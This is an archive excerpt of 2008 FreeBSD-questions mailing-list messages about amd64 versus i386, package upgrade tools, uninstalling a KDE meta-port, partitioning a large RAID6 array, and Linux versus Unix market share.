lacks support in the kernel = for a 64bit NVIDIA driver. But like said before there are numoures threads about this. Regards, Johan Hendriks No virus found in this outgoing message. Checked by AVG - http://www.avg.com=20 Version: 8.0.176 / Virus Database: 270.9.12/1824 - Release Date: = 2-12-2008 9:31 From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 15:40:49 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6C512106564A for ; Tue, 2 Dec 2008 15:40:49 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.184]) by mx1.freebsd.org (Postfix) with ESMTP id E550D8FC14 for ; Tue, 2 Dec 2008 15:40:48 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so1628325nfh.33 for ; Tue, 02 Dec 2008 07:40:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=DzjQLLP/3u9XSy+Byz4OJF0uezc4dPKWB0RG2kG6JF0=; b=so/C3LG6jwvFi+dD8vZN2gTZn8ZdivXlaC7LhRznK54wtjb2aSVbZOcW9LaFVjLrzz chwG//bXfXIYmrdKq/yRRdKgaoVGC7lp0uZRDdW1pqzmQ9CiFwuGvLTR1GlAUxF9GpFR t11FIkz/0zBHZ+XIlzP8Mzig3cpRGfwCmZsrM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=Sk/SEy6T8Kw91gHeYwKFhahvvKXfVW8lze+DMxhLivcAq4OsqEpkTQw2xmS7gsudT4 6PyUTHtK9IDvvcoZRmkLyRqDl5RV7anSJDdslXKSLGna9y8oYYB04Wkk1yqpPxhTaHr1 LnWOW6LEBX7FGaMWTPNsVRfobz3NSoKz2+1ZE= Received: by 10.210.119.16 with SMTP id r16mr8886955ebc.127.1228232447653; Tue, 02 Dec 2008 07:40:47 -0800 (PST) Received: by 10.210.117.7 with HTTP; Tue, 2 Dec 2008 07:40:47 -0800 (PST) Message-ID: <139b44430812020740w39fa1454j7f5ae68c05cb0e26@mail.gmail.com> Date: Tue, 2 Dec 2008 17:40:47 +0200 From: "Valentin Bud" To: "Johan Hendriks" In-Reply-To: <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> <20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> Cc: Pieter Donche , freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 15:40:49 -0000 On Tue, Dec 2, 2008 at 4:59 PM, Johan Hendriks wrote: > > > >>> the only reason that people use FreeBSD/i386 on 64-bit processors is that >>> some binary-only drivers are only availaboe for i386. > >>what kind of drivers would be missing for the amd64 distribution ??? > > Nvidia!!! No Nvidia on that particular motherboard so the OP is on the safe side. @OP: I have just installed FBSD amd 64 2 weeks ago to benefit of +4 GB of RAM and until now i didn't have any kind of problem in compiling and running applications. My box is a web/mail/vpn/router/samba (yes i know there shouldn't be that many services on the box, but tell my boss that) and all the apps are working like a charm. v > > Regards, > Johan Hendriks > > No virus found in this outgoing message. > Checked by AVG - http://www.avg.com > Version: 8.0.176 / Virus Database: 270.9.12/1824 - Release Date: 2-12-2008 9:31 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 15:43:54 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F3B011065679 for ; Tue, 2 Dec 2008 15:43:53 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id CFA368FC1D for ; Tue, 2 Dec 2008 15:43:52 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2FhfU8015702; Tue, 2 Dec 2008 16:43:41 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2FheVk015699; Tue, 2 Dec 2008 16:43:41 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 16:43:40 +0100 (CET) From: Wojciech Puchar To: Valentin Bud In-Reply-To: <139b44430812020740w39fa1454j7f5ae68c05cb0e26@mail.gmail.com> Message-ID: <20081202164254.H15698@wojtek.tensor.gdynia.pl> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> <20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> <139b44430812020740w39fa1454j7f5ae68c05cb0e26@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Pieter Donche , Johan Hendriks , freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 15:43:54 -0000 > My box is a web/mail/vpn/router/samba (yes i know there shouldn't be > that many services > on the box, but tell my boss that) and all the apps are working like a charm. his money his problem. overspending on hardware it's quite common, instead of paying more employees with the same money. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 15:45:47 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9553A1065672 for ; Tue, 2 Dec 2008 15:45:47 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: from smtp.mel.people.net.au (smtp.mel.people.net.au [218.214.17.98]) by mx1.freebsd.org (Postfix) with SMTP id C53EF8FC18 for ; Tue, 2 Dec 2008 15:45:46 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: (qmail 5911 invoked from network); 2 Dec 2008 15:45:38 -0000 Received: from unknown (HELO blizzard.dnsalias.org) (218.215.157.115) by smtp.mel.people.net.au with SMTP; 2 Dec 2008 15:45:38 -0000 Received: by blizzard.dnsalias.org (Postfix, from userid 1001) id D0D3617668; Wed, 3 Dec 2008 02:45:36 +1100 (EST) Date: Wed, 3 Dec 2008 02:45:36 +1100 From: andrew clarke To: Masoom Shaikh Message-ID: <20081202154536.GA2158@ozzmosis.com> References: <4934E5DA.6040308@eskk.nu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org, Leslie Jensen Subject: Re: Uninstalling kde3 meta-port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 15:45:47 -0000 On Tue 2008-12-02 19:26:40 UTC+0530, Masoom Shaikh (masoom.shaikh@gmail.com) wrote: > > How would you guys uninstall a meta-port? > > can try `pkg_delete -a` No Masoom, this is wrong advice. pkg_delete(1) manpage: -a, --all Unconditionally delete all currently installed packages. (Assuming you weren't trying to be "funny"....) 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Providence Digital, Inc 211 East Lombard Suite #278 Baltimore, MD 21202 From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:08:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8DDB51065672 for ; Tue, 2 Dec 2008 16:08:24 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: from smtp.mel.people.net.au (smtp.mel.people.net.au [218.214.17.98]) by mx1.freebsd.org (Postfix) with SMTP id D6ADF8FC13 for ; Tue, 2 Dec 2008 16:08:23 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: (qmail 8075 invoked from network); 2 Dec 2008 16:08:21 -0000 Received: from unknown (HELO blizzard.dnsalias.org) (218.215.157.115) by smtp.mel.people.net.au with SMTP; 2 Dec 2008 16:08:21 -0000 Received: by blizzard.dnsalias.org (Postfix, from userid 1001) id 62540170B0; Wed, 3 Dec 2008 03:08:22 +1100 (EST) Date: Wed, 3 Dec 2008 03:08:22 +1100 From: andrew clarke To: Javier Vasquez Message-ID: <20081202160822.GB2158@ozzmosis.com> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:08:24 -0000 On Tue 2008-12-02 00:41:58 UTC-0600, Javier Vasquez (jevv.cr@gmail.com) wrote: > I was reading chapter 4 of the handbook, as well as chapters 24 and > 26... If I got it clear, I pretty much might get the base system > updated by using freebsd-update script. Ports collection can get > updated with portsnap, but that doesn't update neither the intalled > ports, nor the installed packages. To upgrade the installed ports, > portmanager or portmaster or portupgrade can be used... However only > portupgrade can be used to upgrade packages, right? > > Now, can something like "portupgrade -a -PP" to upgrade all packages > without building a thing (might be that some don't get updated due to > the lack of binary package yet, and in such case would dependencies be > managed right)? Right. > More into how things work, as ports and pacakages are not part of the > base systems, are they somehow associated to a particular release > (most probably not)? So that pretty much no matter the release, if > packages and ports are kept up to date, they might be the same for all > releases? There are downloadable packages that are regularly built from the latest ports tree. There are different packages available for different releases though (eg. 6.x vs 7.x, i386 vs amd64). The theory goes that you can use i386 packages built for (for example) 6.4 on a 6.3 system. Possibly all the way back to 6.0. If you're relying on prebuilt packages then ideally you should try to keep the base system updated where possible. > I'm asking these questions since I'm evaluating moving to BSD, but I > want to avoid compiling as much as possible since my box is 800MHz > piii celeron with just 32KB of cache and 512MB of ram, and for it > source based distributions have proven to be too much to handle, so my > intention would be to live with binary packages and updates/upgrades > only... Those specs should be fine if you're building "small" software such as Squid, Apache, Samba, etc. I build everything I need (http server + http cache + mail server + spam filter + more) from source using a 1 GHz Pentium III with 256 Mb (using portmaster). Firefox, GNOME or KDE would take a long time with 800 MHz. But I wouldn't really like to run those big apps at only 800 MHz either. There's no reason why you can't install the larger software from packages then just build the smaller stuff from source. With portupgrade -PP you're still going to have to keep your ports tree updated (I use portsnap) so it's not a lot of extra effort to build from source. > Also if remaining under -STABLE, is all this possible? Kind of > understood that openoffice.org can't be installed with "pkg_add -r", > so most probably if living under -STABLE automatic updates for > openoffice.org won't show up... So this kinds of answers one previous > question about the packages been independent from the base system > release, it looks like they aren't... Not too sure what you're asking here, and I've never used -STABLE. Keep in mind though that you can't use freebsd-update if you're using -STABLE (AFAIK). From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:13:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2A1DF1065678 for ; Tue, 2 Dec 2008 16:13:15 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id EAAA78FC12 for ; Tue, 2 Dec 2008 16:13:14 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB2G85IF090200; Tue, 2 Dec 2008 11:08:05 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB2G84j8090199; Tue, 2 Dec 2008 11:08:04 -0500 (EST) (envelope-from jerrymc) Date: Tue, 2 Dec 2008 11:08:04 -0500 From: Jerry McAllister To: Pieter Donche Message-ID: <20081202160804.GC90039@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.2i Cc: Polytropon , "mail.list freebsd-questions" Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:13:15 -0000 On Tue, Dec 02, 2008 at 11:53:23AM +0100, Pieter Donche wrote: > On Tue, 2 Dec 2008, Polytropon wrote: > > > ad0 |-----------------------------------------------| the whole disk > > ad0s1 \----------------------------------------------/ one slice > >ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > > a b d e f g > > / swap /tmp /var /usr /home mount point > > OK this is clear.. > > >>a / 1Gb, > >>b swap, > >>d /root 20 Gb, (a /root partition is from an example of someone who > >>claims that at boot FreeBSD checks the partions in background except > >>for the / partition, by keeping / as small as possible, the time to > >>boot can be mimimized .. correct? but will /root ever be something > >>big ??) > > > >No no, / refers to "the root partition". One way of setting > >up partitions is just to have one partition (one root parttion) > >and put everything on it, including /tmp, /var, /usr and /home. > > I know / is the "root partition", but /root is the home-directory of > the user root (/etc/passwd: root:*:0:0:Charlie &:/root:/bin/csh). > I doubt this will ever be needed to be large? If its not large > fsck neither will spend much time in it. So I guess it's just safe > not to make this a separate BSD-partiton ? You want to leave the /root directory in the root filesystem (partition eg ad0s1a or ad0a). Otherwise you could end up with your tail in a crack at just the wrong time. And, yes, don't put a lot of stuff in that /root directory. > > >Another philosophy is to create partitions designated to their > >further use, just as I mentioned it above. > > Yes, but it's hard to find out what is best... I'm constantly > swinged between the one (/ including /tmp /var /usr) and the > other (all separate) option ... Depends a lot on how you use the system. Basically, you learn by experience of how that system is being used. That can change over time too and mean you want to shift your structure to something else - especially if you add more disk or start supporting some additional server service, etc. I generally suggest dividing into /, swap, /tmp, /usr, /var, /home in the beginning and then see how things go. Typically /var and /home are the ones that will grow, especially if you have a database which by default lives in /var and/or if you put home directories and web sites in /home which is what I suggest. As for ZFS issues, I don't know because I haven't had a place to play with it yet. Someday I will have a spare machine and extra disks... ////jerry > > >>this leaves 2420 Gb which is more than 2 Tb, so you can't put all > >>that in 1 filesystem h /home, you will need to split that in 2 > >>BSD-paritions, but since you can't have more that 8 BSD-partitions > >>(highest BSD-partition letter is h), you need to give up at least > >>one of d, e, f, g. ... correct or not (then what)? > > > >I quite doubt that FreeBSD's UFS 2 cannot handle a 2 TB partition > >as a whole, but because I don't have sch large disks with UFS > >(I have ZFS for them), I cannot tell. > > Anyone else can tell? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:14:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6E076106567D for ; Tue, 2 Dec 2008 16:14:04 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: from smtp.mel.people.net.au (smtp.mel.people.net.au [218.214.17.98]) by mx1.freebsd.org (Postfix) with SMTP id 9A8338FC13 for ; Tue, 2 Dec 2008 16:14:03 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: (qmail 9319 invoked from network); 2 Dec 2008 16:14:00 -0000 Received: from unknown (HELO blizzard.dnsalias.org) (218.215.157.115) by smtp.mel.people.net.au with SMTP; 2 Dec 2008 16:14:00 -0000 Received: by blizzard.dnsalias.org (Postfix, from userid 1001) id E6593170B0; Wed, 3 Dec 2008 03:13:58 +1100 (EST) Date: Wed, 3 Dec 2008 03:13:58 +1100 From: andrew clarke To: Mel Message-ID: <20081202161358.GC2158@ozzmosis.com> References: <200812012304.56334.beech@freebsd.org> <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org, Javier Vasquez , Beech Rintoul Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:14:04 -0000 On Tue 2008-12-02 09:28:44 UTC+0100, Mel (fbsd.questions@rachie.is-a-geek.net) wrote: > Portupgrade -PP is detrimental for bandwidth. It's not really portupgrade's > fault (well, partially, it shouldn't offer the feature), because it will > quite often download Latest/foo.tbz, unpack it entirely and then say "oops, I > downloaded this useless package which is older or equal to what you have > installed". Yes, this happens. -PP is not ideal for regular updates but it's still useful for when you have a new FreeBSD install with no packages installed, and want to get up and running quickly, grabbing the most recent binaries of all your favourite ports instead of building them all from source. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:22:57 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 304A41065673; Tue, 2 Dec 2008 16:22:57 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id EAF728FC19; Tue, 2 Dec 2008 16:22:56 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id EBB01AFC1C6; Tue, 2 Dec 2008 07:22:55 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 17:22:53 +0100 User-Agent: KMail/1.9.7 References: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> <20081202161358.GC2158@ozzmosis.com> In-Reply-To: <20081202161358.GC2158@ozzmosis.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> Cc: andrew clarke , Javier Vasquez , Beech Rintoul Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:22:57 -0000 On Tuesday 02 December 2008 17:13:58 andrew clarke wrote: > On Tue 2008-12-02 09:28:44 UTC+0100, Mel (fbsd.questions@rachie.is-a-geek.net) wrote: > > Portupgrade -PP is detrimental for bandwidth. It's not really > > portupgrade's fault (well, partially, it shouldn't offer the feature), > > because it will quite often download Latest/foo.tbz, unpack it entirely > > and then say "oops, I downloaded this useless package which is older or > > equal to what you have installed". > > Yes, this happens. -PP is not ideal for regular updates but it's > still useful for when you have a new FreeBSD install with no packages > installed, and want to get up and running quickly, grabbing the most > recent binaries of all your favourite ports instead of building them > all from source. That's infinitely slower than pkg_add -r . -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:26:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2337E1065672 for ; Tue, 2 Dec 2008 16:26:04 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id B79058FC16 for ; Tue, 2 Dec 2008 16:26:03 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB2GL8CU090261; Tue, 2 Dec 2008 11:21:08 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB2GL8r3090260; Tue, 2 Dec 2008 11:21:08 -0500 (EST) (envelope-from jerrymc) Date: Tue, 2 Dec 2008 11:21:08 -0500 From: Jerry McAllister To: Pieter Donche Message-ID: <20081202162108.GD90039@gizmo.acns.msu.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.2i Cc: "mail.list freebsd-questions" Subject: Re: (no subject) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:26:04 -0000 On Tue, Dec 02, 2008 at 10:56:44AM +0100, Pieter Donche wrote: > If one has a system with 7 500Gb SATA disks in a hardware RAID6 > (Areca Raid Controller), then (according to mail J.Chadwick 7 > Nov 2008) they will show up as da (following naming convention > for scsi disks although they are not). > RAID6 will allow about 2,5 Tb for the 'user' (roughly 1 Tb will > be consumed by the parity information of RAID6). > > How will this 2,5 Tb space present itself at the time of initial > install of FreeBSD? > Will this be a single 'disk' ad0 ? .. correct or not (then what)? It will start out looking like a single large disk /dev/da0. > > If FreeBSD is to put on the system as only operating system (Fdisk: > "A = Use Entire disk"), then will the BSD-partitions will show up as > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > Page 427 of the FreeBSD handbook states that due to the use of 32-bit > integers to store the number of sectors is limited to 2^32 -1 > sectors/disk = 2 TB. A layout could be > a / 1Gb, > b swap, > d /root 20 Gb, (a /root partition is from an example of someone who > claims that at boot FreeBSD checks the partions in background except > for the / partition, by keeping / as small as possible, the time to > boot can be mimimized .. correct? but will /root ever be something > big ??) No, it will not. Do not make /root a separate partition/filesystem. Leave it in / > e /tmp 20 Gb, > f /var 20 Gb, > g /usr 20 Gb > this leaves 2420 Gb which is more than 2 Tb, so you can't put all > that in 1 filesystem h /home, you will need to split that in 2 > BSD-paritions, but since you can't have more that 8 BSD-partitions > (highest BSD-partition letter is h), you need to give up at least > one of d, e, f, g. ... correct or not (then what)? If you really need this much disk, there must be a reason. What do you intend to put in it? My suggestion would be to put a lot more in /var because that is where data base utilities default to putting their data. Then you can reduce the amount left over to what would fit in /home. So, a: 1 GB / b: 4 GB swap d: 7 GB /tmp e: 20 GB /usr ports can just be left here then f: 1024 GB /var databases live here g: remainder /home (Approximately 1536 GB) You can shift this around as you need. Maybe 2048 GB /home and 512 GB /var ////jerry > > What is the best scheme of BSD-partitioning in this case? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:28:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 717501065672 for ; Tue, 2 Dec 2008 16:28:11 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: from outbound-mail-109.bluehost.com (outbound-mail-109.bluehost.com [69.89.22.9]) by mx1.freebsd.org (Postfix) with SMTP id 391048FC1F for ; Tue, 2 Dec 2008 16:28:11 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: (qmail 2807 invoked by uid 0); 2 Dec 2008 16:28:08 -0000 Received: from unknown (HELO box183.bluehost.com) (69.89.25.183) by outboundproxy3.bluehost.com with SMTP; 2 Dec 2008 16:28:08 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=apotheon.com; h=Received:Received:Date:From:To:Subject:Message-ID:Mail-Followup-To:References:Mime-Version:Content-Type:Content-Disposition:In-Reply-To:User-Agent:X-Identified-User; b=UpJb6zhlHp85zGxrJReFEliXWnxW5rygNZz8vrd0UK6IVkqJgctB2BHNSLij1N5pbIh3lYv69U0jyw+Z4s+FGFK+h+cpNr50daT93Vcn3rXvYswxZLEo09H9847z6T16; Received: from c-24-8-180-234.hsd1.co.comcast.net ([24.8.180.234] helo=kokopelli.hydra) by box183.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1L7Y6a-0000cN-BC for freebsd-questions@freebsd.org; Tue, 02 Dec 2008 09:28:08 -0700 Received: by kokopelli.hydra (sSMTP sendmail emulation); Tue, 2 Dec 2008 09:28:08 -0700 Date: Tue, 2 Dec 2008 09:28:08 -0700 From: Chad Perrin To: freebsd-questions@freebsd.org Message-ID: <20081202162808.GA5851@kokopelli.hydra> Mail-Followup-To: freebsd-questions@freebsd.org References: <20081121211828.GA9493@kokopelli.hydra> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="HcAYCG3uE/tztfnV" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Identified-User: {737:box183.bluehost.com:apotheon:apotheon.org} {sentby:smtp auth 24.8.180.234 authed with ren@apotheon.org} Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:28:11 -0000 --HcAYCG3uE/tztfnV Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: > On Behalf Of Chad Perrin >=20 > > While I agree that, without some kind of supporting argument, the > > statement that Linux systems are "low end" Unix replacements are kind > of > > spurious sounding, I don't think that market share is really an > effective > > metric for determination of the quality of a replacement for a given > > class of OS. >=20 > I believe that he forgot to reference this article from ServerWatch. > This > shows more than a marginal increase in "market share". It suggests that > Sun and others have good reason to be nervous about their future > prospects, > and need to find new ways to make money. >=20 > Market share is still not an effective metric for determination of the quality of a replacement for a given class of OS. Your statements and the article to which you linked in no way contradict what I said. Even though the article whose URL you provided does talk about Linux suitability for certain tasks traditionally handled by commercial UNIX systems, market share itself is not a very effective metric except, perhaps, by accident -- because growing market share can indicate any of a number of different potential causes. >=20 > On the other hand, both Unix and Linux have a long way to go before they > can match Microsoft's ease of use on the GUI. I believe the best way > to attack that problem is to find a new paradigm to replace the desktop, > which is not a great interface model to begin with. I guess that depends on your definition of "ease of use". In my little world, "ease of use" involves the ease, efficiency, and speed of task completion via an interface with which I'm familiar. It seems from what you said that in your little world "ease of use" means "familiarity", since that's really the major win for MS Windows interfaces, to the majority of its users. --=20 Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth Friedrich Nietzche: "Those who know that they are profound strive for clarity. Those who would like to seem profound to the crowd strive for obscurity." --HcAYCG3uE/tztfnV Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk1YhcACgkQ9mn/Pj01uKVQDACg1ofRyFQ1eUwY9YB6T/3nrkDV w98AoKPoFd4CnwWf5GrBzJBn+XzJ5tCZ =7L8n -----END PGP SIGNATURE----- --HcAYCG3uE/tztfnV-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:29:18 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 06AC5106564A 